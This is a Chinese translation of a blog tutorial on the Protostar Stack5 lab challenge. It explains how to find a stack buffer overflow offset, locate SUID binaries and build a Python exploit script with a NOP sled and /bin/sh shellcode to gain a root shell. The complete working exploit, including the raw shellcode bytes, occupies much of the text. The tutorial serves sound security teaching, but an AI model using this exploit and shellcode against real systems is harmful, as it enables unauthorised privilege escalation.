原文:https://0xrick.github.io/binary-exploitation/bof5/

引言

在本文中,我们将会向读者详细介绍如何利用具有SUID权限的二进制文件中的缓冲区漏洞来实现提权;在此过程中,我们还会介绍一些非常有趣的主题,来帮助读者充分了解该漏洞的利用过程。与前面的文章相比,本篇是最具有实战意义的一篇。之所以这么说,因为以前介绍的缓冲区溢出漏洞利用方法,都需要修改变量、执行函数……,所以,它们看起来更像是CTF之类的东西,但这次我们将会接触一个现实中的漏洞。好了,废话少说,下面直入主题。

如果读者还没有看过之前的文章,建议大家读完那些文章之后,再回过头来阅读本文。

./Stack5

跟以前所有的挑战一样,本挑战也提供了相应的源代码,但就本文而言,这里有没有源代码并不重要。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
 char buffer[64];

 gets(buffer);
}

我们可以看到,上面的代码非常简单——接受我们提供的输入数据,并将其存储在缓冲区中,甚至都没有告诉我们缓冲区的大小是多少?。那么char buffer[64];是否表明了缓冲区的大小呢?和Stack4挑战一样,如果我们尝试输入64个字符的话,它根本就不会崩溃。

和往常一样,我们将首先找出二进制文件是否易受攻击(是的,尽管我们已经知道这一点了,不过,现实中这却是一个重要的枚举步骤)。

python -c "print 'A' * 100" | ./stack5

我们看到,这里出现了分段故障。所以,这表明程序在接受100个字符之前就崩溃了,接下来要做的事情,就是要搞清楚倒底是在哪里崩溃的。为此,我们可以使用metasploit的pattern_create和pattern_offset,其中的工作机制我们已经在Stack3挑战题中解释过了,这里就不再赘述。

./pattern_create.rb -l 100

然后,我们将运行gdb,并在main()中创建一个断点,然后继续运行程序,向其传递我们的模式:

break main
run
c

程序会在0x63413563处崩溃,这时,就该pattern_offset上场了:

./pattern_offset.rb -q 63413563

在偏移量76处,我们获得了精确的匹配项。正如前面所说的,我们将利用这个二进制文件来获取一个root shell,但是,如何确定这个二进制文件是否具有suid权限呢?为此,直接使用find即可:

find /opt/protostar/bin/ -perm -4000 | grep stack5

我们可以看到,这里的输出内容为/opt/prototar/bin/stack5;实际上,如果这个二进制文件没有suid权限的话,我们是看不到任何输出内容的。如果只是搜索具有suid权限的二进制文件的话,可以删除上面的grep命令,因为它会列出指定目录中的所有具有suid权限的二进制文件。

利用gdb查找EIP

现在,让我们再次运行gdb,以收集有用的信息。需要说明的是,这里的内存地址可能与你运行代码时所看到的有所不同。上次,我们用win()函数的地址覆盖了EIP地址。这一次,我们没有函数要执行,所以,必须找到EIP的地址,并使它指向我们的“恶意输入”(即shellcode),这一点将在稍后解释。

在这里,我们把反汇编风格设置为intel:

set disassembly-flavor intel

然后,开始反汇编主函数:

disassemble main

通过观察不难发现,设置断点的最佳位置,就位于leave指令之前,而leave指令正好位于return指令之前,同时,leave指令的地址是0x080483D9,因此,我们将键入:

break *0x080483d9

然后,我们可以运行该程序,并向输入一些任意的内容,通常是一些字符A。

该程序执行后,会在断点处停止运行,通过键入info frame命令,我们就可以获得相应的EIP地址了:

info frame

最后2行显示的是当前帧中存储的寄存器,其中,eip寄存器的值保存在地址0xBFFFF77C处。

获取缓冲区大小的另一种手段

接下来,我们将为读者简要介绍另一种获得缓冲区大小的方法。

虽然Metasploit是一个很酷的工具,但是,如果我们在某些情况下无法使用Metasploit的话,那该咋整呢?我们可以通过手动计算缓冲区起始地址和EIP地址之差来确定缓冲区的大小;现在,我们已经得到了EIP地址,所以,接下来我们设法确定缓冲区的起始地址。

如果我们键入x/24wx$esp命令,它将显示栈顶部24个机器字中的内容。

x/24wx $esp

在第二行中,我们可以看到地址0xBFFFF730,该地址处存放的值为0x41414141,我们已经知道,41是字符“A”的十六进制表示形式,即程序的输入内容,因此,我们就可以断定,该地址就是这个缓冲区的起始地址。我们知道,缓冲区先于EIP,所以,EIP的地址大于缓冲区的地址。下面,我们求两个地址之差:

p/d 0xbffff77c - 0xbffff730

最后,得到的两者之差是76,这与使用Metasploit得到的结果是相同的。换句话说,这也是一种确定缓冲区大小的实用方法。

漏洞的利用思路

在构建漏洞利用代码之前,让我们先来了解漏洞利用代码的概念。之前,我们一直在用字符“A”来填充缓冲区,直到抵达保存EIP的位置,并用一个指向shell代码的新地址来覆盖它,然后,我们将添加一些名为NOP(无操作)的东西,最后才是shellcode。

ShellCode

那么,什么是shellcode呢?简单地说,它就是一段代码(“就本文来说,就是用十六进制编写的代码”),它可以用作payload来完成某些操作,例如/bin/sh。我们知道,这个二进制文件具有suid权限,所以,如果我们用二进制文件来运行执行/bin/sh的shellcode的话,我们就能获得一个root shell。

实际上,我们可以从shell-stormexploit-db网站下载相应的shellcode。

下面给出完成该挑战所需的shellcode:

\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

这个shellcode将执行/bin/sh命令。

NOP(空操作指令)

基本上,我们需要通过空操作指令来确保漏洞利用代码不会失败,因为,我们无法始终指向正确的地址,所以,我们需要添加不会做任何事情的空操作指令,并指向它们,这样,当程序执行时,将首先抵达那些NOP所在的地址,并不断向下执行这些指令(即什么也不做),直到抵达shellcode所在的位置。

构建漏洞利用代码

对于上一个挑战问题来说,我们使用了一个Python Print语句就搞定了。不过就这里来说,情况有点复杂,因此,我们将使用Python语言来编写一个漏洞利用程序。

首先,我们需要导入一个名为struct的模块,至于为什么要这样做,稍后加以解释。

import struct

之后,我们将创建一个变量来存储相应的填充物,即填充缓冲区的字符。

pad = "\x41" * 76

当用这些字符填满缓冲区并命中EIP后,我们需要为其指定一个新的EIP地址,具体来说,需要让它指向后面一条指令(它位于原始EIP地址后面的4个字节中)的地址,因此,它将变成0xBFFFF77C+4,即0xBFFFF780。接着,我们需要把这个值添加到一个变量中,但请记住,存放时要把字节顺序反过来,这就是为什么导入struct模块的原因。在Python解释器中导入struct模块,具体命令为import struct;,然后键入struct.pack(“i”,0xBFFF780),将会得到\x80\xF7\xFF\xBF,这样一来,就不用担心把顺序弄错了。

EIP = struct.pack("I", 0xbffff780)

下面展示的是相应的shellcode:

shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

最后一件事是填充NOP指令,实际上,它的长度没有什么硬性规定,所以,100个字符就很不错:

NOP = "\x90" * 100

OK,我们的漏洞利用代码已经准备好了,接下来,只需要打印输出最终的payload即可:

print pad + EIP + NOP + shellcode

下面,我们给出完整的脚本:

import struct
pad = "\x41" * 76
EIP = struct.pack("I", 0xbffff780)
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
NOP = "\x90" * 100
print pad + EIP + NOP + shellcode

应用漏洞利用代码

大家是不是已经按耐不住了!那好,赶紧测试一下。

python /tmp/stack5.py | ./stack5

果不其然,我们得到了一个root shell!

好了,本文到此就告一段落了,祝大家阅读愉快!

源链接

Hacking more

...